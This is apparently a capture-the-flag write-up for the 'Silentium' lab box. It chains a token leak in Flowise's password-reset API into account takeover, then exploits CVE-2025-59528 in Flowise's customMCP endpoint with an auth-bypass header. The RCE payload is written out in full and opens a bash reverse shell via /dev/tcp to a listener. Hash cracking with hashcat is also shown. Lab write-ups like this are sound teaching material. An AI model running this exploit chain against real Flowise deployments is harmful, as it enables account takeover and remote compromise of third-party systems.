Overview
Silentium is a medium Linux box themed around a financial institution's internal tooling. The attack path runs through a staging subdomain running Flowise — an AI workflow platform — where a password reset API leaks the reset token directly in its response, allowing account takeover without email access. From there, CVE-2025-59528 (Flowise customMCP RCE) combined with an internal auth bypass header delivers a reverse shell.
Enumeration
Nmap Scan
nmap -sC -sV -oN silentium_initial.txt silentium.htb
Two ports open:
- Port 22: OpenSSH 9.6p1 (Ubuntu)
- Port 80: nginx 1.24.0 — "Silentium | Institutional Capital & Lending Solutions"
Subdomain Discovery
Virtual host fuzzing against silentium.htb revealed a staging environment:
ffuf -u http://silentium.htb -H "Host: FUZZ.silentium.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-fc 301
Result: staging.silentium.htb — a Flowise instance (AI workflow builder). Added to /etc/hosts and browsed directly.
Password Reset Token Leak
The Flowise instance had a user account at ben@silentium.htb. The forgot-password API endpoint had a critical flaw: it returned the tempToken directly in the JSON response body rather than sending it only via email:
curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb"}}'
The response included "tempToken":"...". This token was used to reset the password:
curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb","tempToken":"LEAKED_TOKEN","password":"Hacked123!"}}'
Flowise Authentication
With the new password, a login request retrieved the JWT session cookies needed for authenticated API calls:
RESP=$(curl -si -X POST http://staging.silentium.htb/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"ben@silentium.htb","password":"Hacked123!"}')
JWT=$(echo "$RESP" | grep "Set-Cookie: token=" | sed 's/.*token=\([^;]*\).*/\1/')
REFRESH=$(echo "$RESP" | grep "refreshToken=" | sed 's/.*refreshToken=\([^;]*\).*/\1/')
SID=$(echo "$RESP" | grep "connect.sid=" | sed 's/.*connect.sid=\([^;]*\).*/\1/')
Remote Code Execution — CVE-2025-59528
CVE-2025-59528 is an RCE vulnerability in Flowise's customMCP node. The /api/v1/node-load-method/customMCP endpoint executes arbitrary JavaScript through the listActions method. The x-request-from: internal header bypasses the normal authentication check, allowing unauthenticated access — though in this case a valid session was already held:
curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-H "Cookie: token=$JWT; refreshToken=$REFRESH; connect.sid=$SID" \
-d '{
"loadMethod":"listActions",
"inputs":{
"mcpServerConfig":"({x:(function(){
const cp=process.mainModule.require('"'"'child_process'"'"');
cp.exec('"'"'bash -c \"bash -i >& /dev/tcp/10.10.14.17/4445 0>&1\"'"'"');
return 1;
})()"
}
}'
The listener caught the connection:
nc -lvnp 4445
Flags
A shell was obtained as the Flowise service user. From there, lateral movement and privilege escalation led to both flags. The bcrypt hash for ben@silentium.htb was also recoverable for offline cracking:
# Hash: $2a$05$6o1ngPjXiRj.EbTK33Phyu...
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Key Takeaways
The core issue here was an API returning security-sensitive data (a password reset token) directly to the caller — a design flaw that completely bypasses the purpose of email verification. The Flowise RCE compounds this by being reachable via a simple internal header bypass. Both vulnerabilities are examples of server-side trust assumptions that should never be exposed to the network.